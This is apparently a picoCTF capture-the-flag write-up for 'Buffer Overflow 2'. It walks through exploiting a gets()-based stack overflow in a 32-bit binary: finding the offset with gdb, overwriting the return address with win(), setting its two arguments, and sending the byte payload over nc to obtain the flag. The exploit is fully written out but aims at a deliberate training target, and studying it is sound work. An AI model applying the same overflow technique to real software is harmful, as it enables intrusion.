picoCTF
Buffer Overflow 2 [300 pts]
Challenge Description:
Control the return address and arguments
This time you’ll need to control the arguments to the function you return to! Can you get the flag from this program?
You can view source here. And connect with it using nc saturn.picoctf.net [port #]
We’re given an ELF binary and a C source file. Here’s the C source:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#define BUFSIZE 100
#define FLAGSIZE 64
void win(unsigned int arg1, unsigned int arg2) {
char buf[FLAGSIZE];
FILE *f = fopen("flag.txt","r");
if (f == NULL) {
printf("%s %s", "Please create 'flag.txt' in this directory with your",
"own debugging flag.\n");
exit(0);
}
fgets(buf,FLAGSIZE,f);
if (arg1 != 0xCAFEF00D)
return;
if (arg2 != 0xF00DF00D)
return;
printf(buf);
}
void vuln(){
char buf[BUFSIZE];
gets(buf);
puts(buf);
}
int main(int argc, char **argv){
setvbuf(stdout, NULL, _IONBF, 0);
gid_t gid = getegid();
setresgid(gid, gid, gid);
puts("Please enter your string: ");
vuln();
return 0;
}
First things first, do nano flag.txt
and enter whatever text you’d like into it. This is just so you can run the program in your local machine.
Source Analysis:
Now, looking at the code, and knowing this is a buffer overflow challenge, we notice that the main()
function calls the vuln()
function, which then uses the gets()
function to obtain user input. The gets()
function is known to be insecure, so we can attack this line of code with a buffer overflow.
The program retrieves user input and stores it into a variable buf with a buffer size of BUFSIZE=100
. Hence, all inputs past byte 100 should overflow onto the stack.
We are also given a win
function, which retrieves the flag.txt
file and prints it if two conditions are required: arg1
, the first function parameter, must be equivalent to 0xcafef00d
and arg2
, the second function parameter, must be equivalent to 0xf00df00d
.
Thus, we must do as follows:
- Write the win function address into the eip register, which denotes the address of the next instruction to run and is stored somewhere in the stack.
- Modify the arg1 and arg2 such that they equal the aforementioned values.
Dynamic Analysis:
Step 1:
chmod +x vuln
to allow execution access
gdb vuln
to launch the gdb debugger
Use a website (or make your own program) that returns a random string of any length. I personally used a length of 120 (anything reasonably greater than 100 is suitable for now, given that we need to input a value longer than the buffer length) and only the characters 0-9.
My string was
850542294469848845479729569924849643415873641680750387752959608870162960336860448349356446615742071097671930231073322801
Now run the function with the r command and input the string. For my input, I received the following error message:
Program received signal SIGSEGV, Segmentation fault.
0x32333337 in ?? ()
The 0x32333337
denotes the address that the program attempted to return to, i.e. what was written into the eip register. 0x32333337
is 2337
in ascii, but because of little endianness, we have to reverse this string ⇒ 7332
.
Looking back at the string, notice that 7332
is located at decimal offset 112
850542294469848845479729569924849643415873641680750387752959608870162960336860448349356446615742071097671930231073322801
Thus, eip
, the return address register, can be overwritten with the bytes at offset 112 in the input.
We need to write the win function address into eip
, so let’s check that with gdb.
disass win
should show that the function is located at address 0x08049296
Hence, we can write an input file to send to the program:
python -c "print('a'*112,end='')" > input
echo -en '\x96\x92\x04\x08' >> input
Let’s test it out:
b win
r < input
Confirm that the program pauses execution at Breakpoint 1, 0x0804929e in win ()
Step 2:
Now we need to modify arg1
and arg2
to 0xcafef00d
and 0xf00df00d
.
disass win
includes these two lines of assembly:
0x0804930c <+118>: cmpl $0xcafef00d,0x8(%ebp)
0x08049315 <+127>: cmpl $0xf00df00d,0xc(%ebp)
Comparing it to the source code, this tells us that arg1
must be located at $ebp+0x8
and arg2
must be located at $ebp+0xc
.
Let’s check the offset of ebp
in our input:
Generate a random string again. I chose a random string of 32 numbers.
echo -n '59144761475142004167455988422375' >> input
to append your random string to your input file
b *win+118
r < input
x/2x $ebp+0x8
to show $ebp+0x8
and $ebp+0xc
in the stack ⇒
0xffd2d3b4: 0x31363734 0x31353734
0x31363734
⇒ 1674
in ASCII ⇒ reverse because of little endianness = 4761
59144761475142004167455988422375
Thus, $ebp+0x8
is located 4 bytes after eip
, the return address, and $ebp+0xc
is located 8 bytes after eip
.
Let’s rewrite the input file:
python -c "print('a'*112,end='')" > input
echo -en '\x96\x92\x04\x08\x00\x00\x00\x00\x0d\xf0\xfe\xca\x0d\xf0\x0d\xf0' >> input
(remember little endianness means you must reverse every group of four bytes)
./vuln < input
should return the contents of your flag.txt file!
nc -q 2 saturn.picoctf.net 64689 < input
to get the flag. Note that the -q 2
makes the connection wait 2 seconds after the EOF (end of file) before closing input, which allows us to receive the flag.
picoCTF{argum3nt5_4_d4yZ_27ecbf40}